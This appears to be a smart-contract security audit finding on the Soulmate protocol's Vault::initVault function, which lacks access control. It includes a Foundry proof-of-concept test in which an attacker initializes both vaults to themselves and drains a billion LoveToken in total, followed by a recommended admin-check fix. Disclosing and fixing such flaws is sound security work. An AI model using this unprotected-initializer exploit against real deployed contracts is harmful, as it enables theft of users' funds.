Summary
The Vault::initVault
funcition allows to set the necessary addresses for the protocol but missing access control check will allow unauthorized access to set malicious addresses for them which will ultimately lead to a major destruction of the protocol.
Access control serves the purpose to allow authorized access to call the sensitive function which requires carefully checking the inputs and setting them because a wrong input given can lead to major impact for the protocol and user interacting with the protocol.
initVault
having no access control on it will allow malicious actors to set malicious addresses and will give them the full control to hinder with the Soulmate protocol.
Vulnerability Details
The vulnerability is present in the Vault::initVault
function starting from line 27 as it lags necessary access control on it allowing malicious actors to set the protocol's addresses to their own addresses which allows them to hinder with the normal functioning of the protocol as well as impact the users associated with the protocol.
The addresses for loveToken
and managerContract
are necessary for the protocol functioning, where the loveToken is the ERC20 based token for the Soulmate protocol and managerContract
is the manager of the Vault.
These are necessary addresses as managerContract is given the approval to spend LoveToken and malicious actor setting them to their own addresses will give them the advantage to the protocol's tokens.
@> function initVault(ILoveToken loveToken, address managerContract) public {
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}
Impact
Malicious actor setting loveToken
to its correct valut but managerContract
to their own address will allow them to get the approval for a total of 500,000,000
LoveToken as the call loveToken.initVault(managerContract)
mints and approves LoveToken to the vault and managerContract respectively.
Even they can set the loveToken
to their own addresses which will allow distribution of their malicious token in the protocol.
PoC
Add the test in the file: test/unit/BaseTest.t.sol
Run the test:
forge test --mt test_AllowsMaliciousActorToSetUpNecessaryAddressesForVault_And_PullAllTokens
function test_AllowsMaliciousActorToSetUpNecessaryAddressesForVault_And_PullAllTokens() public {
vm.startPrank(deployer);
Vault airdrop_vault = new Vault();
Vault staking_vault = new Vault();
Soulmate soulmate_contract = new Soulmate();
LoveToken love_token = new LoveToken(
ISoulmate(address(soulmate_contract)),
address(airdrop_vault),
address(staking_vault)
);
Staking staking_contract = new Staking(
ILoveToken(address(love_token)),
ISoulmate(address(soulmate_contract)),
IVault(address(staking_vault))
);
Airdrop airdrop_contract = new Airdrop(
ILoveToken(address(love_token)),
ISoulmate(address(soulmate_contract)),
IVault(address(airdrop_vault))
);
vm.stopPrank();
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
airdrop_vault.initVault(
ILoveToken(address(love_token)),
attacker
);
staking_vault.initVault(
ILoveToken(address(love_token)),
attacker
);
uint256 minted_amount = 500_000_000 * 1e18;
love_token.transferFrom(address(airdrop_vault), attacker, minted_amount);
love_token.transferFrom(address(staking_vault), attacker, minted_amount);
vm.stopPrank();
assertEq(love_token.balanceOf(attacker), minted_amount * 2);
}
Tools Used
Manual Review, Unit Test in Foundry
Recommendations
Add the access control to allow the protocol authority to call Vault::initVault
contract Vault {
/*//////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error Vault__AlreadyInitialized();
+ error Vault__NotAuthorized();
/*//////////////////////////////////////////////////////////////
STATE VARIABLES
//////////////////////////////////////////////////////////////*/
bool public vaultInitialize;
+ address public admin;
/*//////////////////////////////////////////////////////////////
FUNCTIONS
//////////////////////////////////////////////////////////////*/
+ constructor() {
+ admin = msg.sender;
+ }
/// @notice Init vault with the loveToken.
/// @notice Vault will approve its corresponding management contract to handle tokens.
/// @notice vaultInitialize protect against multiple initialization.
function initVault(ILoveToken loveToken, address managerContract) public {
+ if (msg.sender != admin) {
+ revert Vault__NotAuthorized();
+ }
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}
}